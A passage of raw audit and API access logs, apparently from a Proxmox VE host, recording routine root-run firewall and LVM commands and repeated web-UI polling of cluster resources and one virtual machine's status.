a2=55ecb805f500 a3=b items=2 ppid=1156 pid=62069 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965515100,"@rawstring":"node=pve type=EXECVE msg=audit(1781965515.100:65933): argc=1 a0=\"date\""} {"@timestamp":1781964425961,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964425.961:60977): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58543 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965968768,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:32:47 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 511"} {"@timestamp":1781965205998,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965205.998:64606): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=62068 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965515093,"@rawstring":"node=pve type=EXECVE msg=audit(1781965515.093:65931): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781964425954,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964425.954:60976): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58542 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965968768,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:32:47 +0100] \"GET /api2/extjs/nodes/pve/qemu/877/pending HTTP/1.1\" 200 877"} {"@timestamp":1781965205993,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965205.993:64605): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0b56c0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=62067 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781965515080,"@rawstring":"node=pve type=EXECVE msg=audit(1781965515.080:65930): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781964425946,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964425.946:60975): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58541 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965967744,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:32:46 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 930"} {"@timestamp":1781965205983,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965205.983:64604): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0dec80 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=62066 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781965515070,"@rawstring":"node=pve type=EXECVE msg=audit(1781965515.070:65929): argc=1 a0=\"iptables-save\""} {"@timestamp":1781964425943,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964425.943:60974): arch=c000003e syscall=54 success=yes exit=0 a0=3 a1=0 a2=80 a3=62eb53216740 items=0 ppid=1156 pid=58540 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=(null)"} {"@timestamp":1781965966757,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:32:45 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 512"} {"@timestamp":1781965205974,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965205.974:64603): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc14a1e0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=62065 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781965515064,"@rawstring":"node=pve type=EXECVE msg=audit(1781965515.064:65928): argc=2 a0=\"ipset\" a1=\"save\""} {"@timestamp":1781964425941,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964425.941:60973): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc12fc10 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58540 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=\"exec\""} {"@timestamp":1781965966757,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:32:45 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1100"} {"@timestamp":1781965204673,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965204.673:64602): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d73bb3b0 a1=64f8d5936170 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=62064 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"lvs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781965515054,"@rawstring":"node=pve type=EXECVE msg=audit(1781965515.054:65927): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781964425937,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964425.937:60972): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc1470f0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58539 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965965745,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:32:44 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1100"} {"@timestamp":1781965204650,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965204.650:64601): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d4afb000 a1=64f8d73dc140 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=62063 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"vgs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781965515038,"@rawstring":"node=pve type=EXECVE msg=audit(1781965515.038:65926): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781964425932,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964425.932:60971): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc0ff620 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58538 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965965745,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:32:44 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 934"} {"@timestamp":1781965202160,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965202.160:64600): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=62060 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965514252,"@rawstring":"node=pve type=EXECVE msg=audit(1781965514.252:65925): argc=12 a0=\"/sbin/lvs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--config\" a9=7265706F72742F74696D655F666F726D61743D22257322 a10=\"--options\" a11=\"vg_name,lv_name,lv_size,lv_attr,pool_lv,data_percent,metadata_percent,snap_percent,uuid,tags,metadata_size,time\""} {"@timestamp":1781964425926,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964425.926:60970): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc12fbe0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58537 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965964734,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:32:43 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 511"} {"@timestamp":1781965202154,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965202.154:64597): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=62059 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965514229,"@rawstring":"node=pve type=EXECVE msg=audit(1781965514.229:65924): argc=10 a0=\"/sbin/vgs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--options\" a9=\"vg_name,vg_size,vg_free,lv_count\""} {"@timestamp":1781964425921,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964425.921:60969): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0ff620 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58536 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965964734,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:32:43 +0100] \"GET /api2/extjs/nodes/pve/qemu/877/pending HTTP/1.1\" 200 877"} {"@timestamp":1781965197142,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965197.142:64594): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=62056 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965513292,"@rawstring":"node=pve type=EXECVE msg=audit(1781965513.292:65923): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781964425916,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964425.916:60968): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecb8ac8a10 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58535 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781965963744,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:32:42 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 510"} {"@timestamp":1781965197135,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965197.135:64591): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=62055 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965513280,"@rawstring":"node=pve type=EXECVE msg=audit(1781965513.280:65920): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781964425910,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964425.910:60967): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58534 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965963744,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:32:42 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 923"} {"@timestamp":1781965195960,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965195.960:64588): arch=c000003e syscall=59 success=yes exit=0 a0=5c74225b5e90 a1=5c74225b2c10 a2=5c7422594680 a3=5 items=2 ppid=62048 pid=62054 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781965508271,"@rawstring":"node=pve type=EXECVE msg=audit(1781965508.271:65917): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781964425904,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964425.904:60966): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58533 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965962719,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:32:41 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1111"} {"@timestamp":1781965195951,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965195.951:64587): arch=c000003e syscall=59 success=yes exit=0 a0=5c73e7a96ac8 a1=7ffd624c3c20 a2=5c7422594680 a3=5c73e7a7a24e items=2 ppid=62048 pid=62050 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781965508263,"@rawstring":"node=pve type=EXECVE msg=audit(1781965508.263:65914): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781964425900,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964425.900:60965): arch=c000003e syscall=59 success=yes exit=0 a0=57ebf003d0e0 a1=57ebf0039e60 a2=57ebf001b680 a3=5 items=2 ppid=58526 pid=58532 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781965962719,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:32:41 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1111"} {"@timestamp":1781965195949,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965195.949:64586): arch=c000003e syscall=59 success=yes exit=0 a0=7ffd624c3be0 a1=5c742259b310 a2=5c7422594680 a3=5 items=2 ppid=62048 pid=62049 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781965506024,"@rawstring":"node=pve type=EXECVE msg=audit(1781965506.024:65911): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781964425897,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964425.897:60964): arch=c000003e syscall=59 success=yes exit=0 a0=57ebdede4ac8 a1=7ffc3fd53d60 a2=57ebf001b680 a3=57ebdedc824e items=2 ppid=58526 pid=58528 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781965960828,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:32:40 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 936"} {"@timestamp":1781965195938,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965195.938:64584): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=62048 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965506017,"@rawstring":"node=pve type=EXECVE msg=audit(1781965506.017:65910): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781964425896,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964425.896:60963): arch=c000003e syscall=59 success=yes exit=0 a0=7ffc3fd53d20 a1=57ebf0022310 a2=57ebf001b680 a3=5 items=2 ppid=58526 pid=58527 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781965960828,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:32:39 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 511"} {"@timestamp":1781965195926,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965195.926:64583): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=62047 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965506015,"@rawstring":"node=pve type=EXECVE msg=audit(1781965506.015:65909): argc=1 a0=\"date\""} {"@timestamp":1781964425892,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964425.892:60961): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=58526 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965959813,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:32:39 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 515"} {"@timestamp":1781965195918,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965195.918:64582): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=62046 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965506003,"@rawstring":"node=pve type=EXECVE msg=audit(1781965506.003:65907): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781964425886,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964425.886:60960): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58525 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965959813,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:32:39 +0100] \"GET /api2/extjs/nodes/pve/qemu/877/pending HTTP/1.1\" 200 877"} {"@timestamp":1781965195912,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965195.912:64581): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=62045 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965505988,"@rawstring":"node=pve type=EXECVE msg=audit(1781965505.988:65906): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781964425880,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964425.880:60959): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58524 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965959813,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:32:38 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 914"} {"@timestamp":1781965195902,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965195.902:64580): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=62044 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965505979,"@rawstring":"node=pve type=EXECVE msg=audit(1781965505.979:65905): argc=1 a0=\"iptables-save\""} {"@timestamp":1781964425875,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964425.875:60958): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0cf8a0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58523 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781965959813,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:32:38 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1111"} {"@timestamp":1781965195900,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965195.900:64579): arch=c000003e syscall=54 success=yes exit=0 a0=3 a1=0 a2=80 a3=64a8292c0740 items=0 ppid=1156 pid=62043 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=(null)"} {"@timestamp":1781965505962,"@rawstring":"node=pve type=EXECVE msg=audit(1781965505.962:65904): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781964425869,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964425.869:60957): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecb60d76f0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58522 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781965957833,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:32:37 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1110"} {"@timestamp":1781965195897,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965195.897:64578): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e0600 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=62043 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=\"exec\""} {"@timestamp":1781965505947,"@rawstring":"node=pve type=EXECVE msg=audit(1781965505.947:65903): argc=1 a0=\"iptables-save\""} {"@timestamp":1781964425863,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964425.863:60956): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc1353c0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58521 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781965957833,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:32:36 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 904"} {"@timestamp":1781965195890,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965195.890:64577): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc0ee340 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=62042 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965505936,"@rawstring":"node=pve type=EXECVE msg=audit(1781965505.936:65901): argc=1 a0=\"ebtables-restore\""} {"@timestamp":1781964424311,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964424.311:60955): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=58520 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965956787,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:32:36 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 512"} {"@timestamp":1781965195884,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965195.884:64576): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc0ecf80 a2=55ecb805f500 a3=b 